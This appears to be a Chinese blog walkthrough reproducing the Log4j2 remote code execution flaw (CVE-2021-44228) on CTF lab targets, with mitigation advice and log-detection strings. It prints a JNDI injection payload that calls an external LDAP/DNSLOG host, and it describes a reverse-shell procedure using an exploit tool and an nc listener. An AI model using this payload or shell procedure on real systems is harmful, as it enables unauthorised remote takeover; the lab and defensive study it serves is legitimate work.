当前位置 博文首页 > 文章内容

    hacker-裁决者:Apache log4j2-RCE 漏洞复现(CVE-2021-44228)

    作者:shunshunshun18 栏目:未分类 时间:2021-12-14 20:23:24

    本站于2023年9月4日。收到“大连君*****咨询有限公司”通知
    说我们IIS7站长博客,有一篇博文用了他们的图片。
    要求我们给他们一张图片6000元。要不然法院告我们

    为避免不必要的麻烦,IIS7站长博客,全站内容图片下架、并积极应诉
    博文内容全部不再显示,请需要相关资讯的站长朋友到必应搜索。谢谢!

    另祝:版权碰瓷诈骗团伙,早日弃暗投明。

    相关新闻:借版权之名、行诈骗之实,周某因犯诈骗罪被判处有期徒刑十一年六个月

    叹!百花齐放的时代,渐行渐远!



    Apache log4j2-RCE 漏洞复现

    image

    0x01 漏洞简介

    Apache Log4j2是一个基于Java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

    漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。

    0x02 环境准备

    image

    验证靶场:

    1.CTFshow (https://ctf.show/challenges#Log4j复现-1730)

    image

    2.VULFOCUS(http://vulfocus.fofa.so/)

    image

    3.掌控安全封神台(https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd)

    image

    0x03 漏洞验证(DNSLOG篇)

    我们通过JNDI注入请求DNSLOG的恶意语句,如果在DNSLOG端能查看到访问记录,则证明远程代码执行漏洞存在

    我们CTFshow的靶场来做后续验证

    我们直接在登录框输入恶意代码:

    ${jndi:ldap://hackerj.c57f9cb5.dns.1433.eu.org/exp}
    

    image

    然后我们成功在DNSLOG端查看到访问记录,证实这里漏洞存在

    image

    0x04 漏洞验证(远程代码执行弹计算器&记事本篇)

    在这里我们需要准备好一台有公网IP的VPS,然后在服务器端一个恶意代码类exploit.class(将恶意代码类通过javac编译得到)一个LDAP服务器log4j.jar(为运行方便,将LADPRefServer.java打包成jar包上传到服务器)
    本地端需要准备好一个LDAP客户端(含log4j2执行代码)

    首先我们在服务器端开启LDAP服务端口监听,我这里设置的是7912端口

    image

    开启LDAP服务

    image

    然后我们只需要在本地运行LDAP客户端(含log4j2错误调用的代码)

    image

    由于我们在恶意代码里执行的测试命令是notepad和calc

    image

    不出意外的弹出了记事本和计算器

    image

    0x05 漏洞深度利用(反弹shell)

    在这里我们需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来生成payload

    工具地址:
    https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools
    

    然后使用如下网址来加密反弹shell命令

    加密网址:
    https://www.jackson-t.ca/runtime-exec-payloads.html
    反弹shell方法:
    https://www.freebuf.com/articles/system/178150.html
    

    image

    image

    我这里绑定的是服务器的9999端口(别忘了在服务器安全配置和宝塔安全配置开启端口)

    然后我们就获得了payload

    image

    之后我们在服务器开启对于9999端口的监听

    nc -lvnp 9999
    

    image

    然后我们在靶场框输入我们的恶意payload

    image

    点击提交之后我们发现反弹shell成功

    image

    0x06 影响范围及排查方法

    影响范围:

    使用了log4j的组件并且版本在3.x <= 2.14.1
    

    排查方法:

    1.pom版本检查
    2.可以通过检查日志中是否存在"jndi:ldap://"、"jndi:rmi"等字符来发现可能的攻击行为
    3.检查日志中是否存在相关的堆栈报错,堆栈里是否有JndiLookup、LdapURLContext、getObjectFactoryFromReference等与jndi调用相关的堆栈信息
    4.各种安全产品
    

    自查工具:

    https://sca.seczone.cn/allScanner.zip
    https://static.threatbook.cn/tools/log4j-local-check.sh
    

    需要注意的是并不是所有的使用了log4j2的项目|客户端都会受到影响:

    image

    0x07 修复建议

    官方方案:
    1、将Log4j框架升级到2.15.0版本:
    org/apache/loging/logj/logj-core/5.0
    不要用2.15.0-rc1和2.15.0-rc2

    2、临时方案
    1、升级JDK
    2、修改log4j配置
        ①设置参数:
        log4j2.formatMsgNoLookups=True
        ②修改jvm参数:
        -Dlog4j2.formatMsgNoLookups=true
        ③系统环境变量:
        FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
        ④禁止log4j2所在的服务器外连
    3、使用安全产品防护:WAF、RASP

    0x08 涉及资源

    https://www.icode9.com/content-4-1255614.html
    https://github.com/welk1n/JNDI-Injection-Exploit
    https://ylcao.top/2021/12/apache-log4j2-rce%E5%A4%8D%E7%8E%B0/
    https://www.jackson-t.ca/runtime-exec-payloads.html
    https://chowdera.com/2021/12/202112102325553772.html
    https://github.com/bkfish/Apache-Log4j-Learning
    https://www.freebuf.com/articles/system/178150.html
    https://github.com/fengxuangit/log4j_vuln
    http://vulfocus.fofa.so/
    
    bkbky